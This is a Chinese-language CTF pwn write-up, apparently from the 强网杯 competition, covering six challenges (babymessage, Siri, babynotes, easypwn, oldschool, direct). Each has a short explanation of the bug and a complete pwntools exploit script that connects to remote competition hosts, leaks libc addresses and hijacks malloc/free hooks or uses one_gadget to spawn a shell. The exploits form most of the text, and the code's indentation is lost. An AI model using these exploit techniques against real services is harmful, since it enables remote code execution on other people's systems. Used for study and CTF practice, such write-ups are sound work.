强网先锋

babymessage

思路

message处存在溢出,可以修改esp,通过栈迁移到name,从而控制size,进而可以进行较大空间的rop,接着leak出libc地址和用onegadget进行getshell即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
p = process("./babymessage")
p = remote("123.56.170.202","21342")
libc = ELF("./babymessage").libc
def name(name):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("name: ")
p.send(name)
def message(message):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("message: ")
p.send(message)
def show():
p.recvuntil("choice: ")
p.sendline("3")
pop_rdi = 0x0000000000400ac3
pop_rsi_r15 = 0x0000000000400ac1
pop_rbp = 0x0000000000400748
leave_ret = 0x0000000000400886
read_got = 0x601038
puts_plt = 0x400670
read_plt = 0x4006A0
one = [0x4f365,0x4f3c2,0x10a45c]
name("\x00\x01")
#gdb.attach(p,'b *0x0000000000400748')
message("a"*0x8+p64(0x6010D0+4))
payload = "a"*0x8+p64(0x6010D0+4)
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(0x6010D0)
payload += p64(0)
payload += p64(pop_rbp)
payload += p64(0x6010D0)
payload += p64(read_plt)
payload += p64(leave_ret)
message(payload)
p.recvuntil("done!\n\n")
libc.address = u64(p.recv(6)+'\x00'*2)-libc.sym['read']
p.sendline(p64(0)+p64(libc.address+one[1]))
p.interactive()

Siri

思路

Remind me to指令处存在格式化字符串漏洞,可以leak出栈和libc地址,接着修改__free_hook为onegadget,并利用printf输出长串字符时需要free原有缓存区并重新申请的功能,调用free,进而getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
p = process("./Siri")
p = remote("123.56.170.202","12124")
libc = ELF("./Siri").libc
def say_format(message):
p.recvuntil(">>> ")
p.sendline("Hey Siri!")
p.recvuntil(">>> ")
p.sendline("Remind me to "+message)
def say(message):
p.recvuntil(">>> ")
p.sendline("Hey Siri!")
p.recvuntil(">>> ")
p.sendline(message)
say_format("%7$p%83$p")
p.recvuntil("0x")
stack = int(p.recv(12),16) +0x118
p.recvuntil("0x")
print hex(libc.sym['__libc_start_main'])
libc.address = int(p.recv(12),16)-231 - libc.sym['__libc_start_main']
print hex(libc.address)
print hex(stack)
one = [0x4f365,0x4f3c2,0x10a45c]
addr = libc.address+one[2]
offset = 14
got = stack
got = libc.sym['__free_hook']
addr1 = addr &0xffff
pay1 = "%"+str(addr1-len(">>> OK, I'll remind you to ")-5)+"c%"+str(offset+2)+"$hn"
payload = pay1
payload += 'a'*(8 - len(pay1)%8)
payload += p64(got)
say_format(" "*5 + payload)
sleep(1)
addr2 = addr>>16 &0xffff
pay2 = "%"+str(addr2-len(">>> OK, I'll remind you to ")-5)+"c%"+str(offset+2)+"$hn"
payload = pay2
payload += 'a'*(8 - len(pay2)%8)
payload += p64(got+2)
say_format(" "*5 + payload)
sleep(1)
addr3 = addr>>32 &0xffff
pay3 = "%"+str(addr3-len(">>> OK, I'll remind you to ")-5)+"c%"+str(offset+2)+"$hn"
payload = pay3
payload += 'a'*(8 - len(pay3)%8)
payload += p64(got+4)
say_format(" "*5 + payload)
sleep(1)
#gdb.attach(p,'b *$rebase(0x12b1)')
say_format("%99999c")
p.interactive()

babynotes

思路

堆块申请后没有进行初始化,从而可以leak出libc和堆地址。

free时,index为有符号整数类型,并且没有要求其大于0,所以可以对存放name处的堆块进行double free,并以此申请到存放堆指针处,进而达到任意写。将__free_hook修改为system函数地址,从而getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
p = process("./babynotes")
p = remote("123.56.170.202","43121")
libc = ELF("./babynotes").libc
def add(idx,size):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("index: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(size))
def add2(idx,size):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("index: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(size)
def show(idx):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(idx))
def free(idx):
p.recvuntil(">> ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(idx))
def edit(idx,data):
p.recvuntil(">> ")
p.sendline("4")
p.recvuntil("index: ")
p.sendline(str(idx))
p.recvuntil("note: ")
p.sendline(data)
p.recvuntil("name: ")
p.sendline("111")
p.recvuntil("motto: ")
p.sendline("111")
p.recvuntil("age: ")
p.sendline("33")
add(0,0x68)
add(1,0x68)
add(2,0x68)
free(0)
free(1)
add(1,0x68)
show(1)
p.recvuntil("Note 1: ")
heap = u64(p.recvline()[:-1].ljust(8,'\x00'))-0x130
print hex(heap)
free(1)
free(2)
add(0,0x100)
add(1,0x100)
free(0)
add(0,0x100)
show(0)
p.recvuntil("Note 0: ")
libc.address = u64(p.recvline()[:-1].ljust(8,'\x00'))-0x3C4B78
print hex(libc.address)
free(0)
free(1)
add(0,8)
add(1,8)
add(5,0)
free(-1)
free(0)
free(1)
add(5,0)
free(-1)
add(0,0x18)
edit(0,p64(0x6020C0))
add(1,0x18)
add(2,0x18)
add(3,0x18)
edit(3,p64(0)*2+p64(libc.sym['__free_hook']))
edit(0,p64(libc.sym['system']))
edit(2,'/bin/sh\x00')
free(2)
#gdb.attach(p,'b *0x400A66')
p.interactive()

PWN

easypwn

思路

存在off by null漏洞,利用chunk extended,并错位申请到控制同一个堆块的size。并通过伪造size将堆块先后放进fastbin和unsortbin,爆破低4位劫持stdout结构(概率1/16),从而leak出libc地址。并通过UAF修改fastbin的fd,申请到__malloc_hook附近,修改其为onegadget,从而getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
p = process("./easypwn")
def exp():
p = remote("39.101.184.181","10000")
libc = ELF("./easypwn").libc
def add(size):
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("size:")
p.sendline(str(size))
def edit(idx,data):
p.recvuntil("choice:")
p.sendline("2")
p.recvuntil("idx:")
p.sendline(str(idx))
p.recvuntil("content:")
p.send(data)
def free(idx):
p.recvuntil("choice:")
p.sendline("3")
p.recvuntil("idx:")
p.sendline(str(idx))
add(0xf8)#0
add(0xf8)#1
add(0xf8)#2
add(0xf8)#3
free(0)
edit(1,'1'*0x78+p64(0x91)+'\n')
edit(2,'1'*0xf0+p64(0x300))
free(3)
add(0x108)#0
add(0xf8)#3
add(0xf8)#4
add(0xf8)#5
free(0)
edit(3,'1'*0x68+p64(0x91)+'\n')
edit(4,'1'*0xf0+p64(0x310))
free(5)
one = [0x45226,0x4527a,0xf0364,0xf1207]
add(0x108)#0
add(0xf8)#5
add(0xf8)#6
free(5)
edit(1,p64(0)+p64(0x101)+p64(0x10)+'\xe8\x37\n')
add(0xf8)#5
edit(1,p64(0)+p64(0x71)+'\xdd\x25\n')
free(5)
edit(1,p64(0)+p64(0x101)+'\xdd\x25\n')
free(3)
edit(1,p64(0)+p64(0x71)+'\xdd\x25\n')
add(0x68)#3
add(0x68)#5
edit(5,'\x00'*3+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00'+'\n')
p.recvuntil(p64(0xfbad1800))
p.recv(32)
libc.address = u64(p.recv(6)+'\x00\x00') -0x3C56A3
print hex(libc.address)
free(3)
edit(1,p64(0)+p64(0x71)+p64(libc.sym['__malloc_hook']-0x23)+'\n')
add(0x68)#3
add(0x68)#7
edit(7,'\x00'*0xb+p64(libc.sym['realloc']+6)+p64(libc.address+one[2])+'\n')
#gdb.attach(p,'b malloc')
add(0x68)#7
p.interactive()
while(1):
try:
exp()
except:
print 'fail'

oldschool

思路

菜单题,没有对申请到的数据进行初始化,从而可以leak出libc以及堆地址。

对mmap申请出来的地址进行edit时,对偏移等条件判断错误,误用了&&,从而可以任意地址写。将__free_hook修改为system地址,并free一个/bin/sh的堆块即可getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
p = process("./oldschool")
p = remote("106.14.214.3","2333")
libc = ELF("./oldschool").libc
def add(idx,size):
p.recvuntil("5. exit")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size")
p.sendline(str(size))
def edit(idx,data):
p.recvuntil("5. exit")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.sendline(data)
def show(idx):
p.recvuntil("5. exit")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def free(idx):
p.recvuntil("5. exit")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
def mmap_allocate(idx):
p.recvuntil("5. exit")
p.sendline("6")
p.recvuntil("start: ")
p.sendline(str(idx))
def mmap_edit(idx,data):
p.recvuntil("5. exit")
p.sendline("7")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Value: ")
p.sendline(data)
def mmap_delete():
p.recvuntil("5. exit")
p.sendline("8")
for i in range(7):
add(i,0x100)
add(7,0x100)
add(8,0x100)
free(0)
free(1)
add(1,0x100)
add(0,0x100)
show(1)
p.recvuntil("Content: ")
heap = u32(p.recv(4))-0x160
print hex(heap)
for i in range(7):
free(6-i)
free(7)
for i in range(7):
add(i,0x100)
add(7,0x100)
edit(7,'a'*4)
show(7)
p.recvuntil("a"*4)
libc.address = u32(p.recv(4))-0x1D870A
print hex(libc.address)
mmap_allocate(0)
mmap_edit((libc.sym['__free_hook']-0xe0000000)/4,str(libc.sym['system']))
edit(8,'/bin/sh')
free(8)
#gdb.attach(p)
p.interactive()

direct

思路

2.27环境下的题目。edit时偏移采用有符号整数类型,从而可以输入负数造成溢出,利用该漏洞进行chunk extended,进而获取到两个同一地址的指针,达到任意地址申请的目的。

readdir时第一次会将目录下全部文件名保存在缓冲区中,通过构造,可以通过修改申请到的堆块size位,将该缓冲区释放,接着再申请到某一文件名后,将该堆块free进unsortbin,从而leak出libc地址。结合上面的任意地址申请,修改__free_hook为system函数地址,进而getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
context.log_level = 'debug'
p = process("./direct")
p = remote("106.14.214.3","1912")
libc = ELF("direct").libc
def add(idx,size):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size:")
p.sendline(str(size))
def edit(idx,off,size,data):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Offset: ")
p.sendline(str(off))
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Content: ")
p.send(data)
def free(idx):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def open_f():
p.recvuntil("Your choice: ")
p.sendline("4")
def close_f():
p.recvuntil("Your choice: ")
p.sendline("5")
for i in range(0xb):
add(i,0xf8)
for i in range(7):
free(6-i)
open_f()
close_f()
edit(0xa,-16,0x10,p64(0x300)+'\x00')
free(7)
free(0xa)
for i in range(7):
add(i,0xf8)
add(7,0xf8)
add(0xa,0xf8)#8=a
edit(0xa,-8,0xf8,p64(0x71)+'a'*0x68+p64(0x91))
free(8)
for i in range(7):
free(6-i)
edit(0xa,-8,0xf8,p64(0x101))
free(0xa)
add(8,0x58)
for i in range(7):
add(i,0xf8)
add(0xb,0xf8)
edit(0xb,-16,0x10,p64(0)+p64(0x2A0+0x00008041))
free(0xb)
add(0xb,0xf8)
add(0xc,0xf8)
add(0xd,0xf8)
for i in range(7):
free(6-i)
add(0,0x98)
add(1,0xc8)
add(2,0x38)
add(3,0xe8)
add(0xe,0x18)
free(0)
free(1)
free(2)
free(0xb)
free(0xc)
add(0,0xe8)
add(1,0xe8)
add(2,0xe8)
add(4,0xe8)
add(5,0xe8)
add(6,0xe8)
add(0xb,0xe8)
add(0xc,0xe8)
free(0)
free(1)
free(2)
free(4)
free(5)
free(6)
free(0xb)
free(0xc)
free(3)
edit(0xe,-0x101,0x20,'a'*0x11)
close_f()
p.recvuntil("a"*0x11)
libc.address = u64(p.recv(6)+'\x00\x00') -0x3EBCA0
print hex(libc.address)
edit(8,0,0x10,p64(libc.sym['__free_hook']))
add(0,0x68)
add(1,0x68)
edit(1,0,0x10,p64(libc.sym['system']))
add(2,0xe8)
edit(2,0,0x10,'/bin/sh\x00')
free(2)
#gdb.attach(p,'b *$rebase(0x910)')
p.interactive()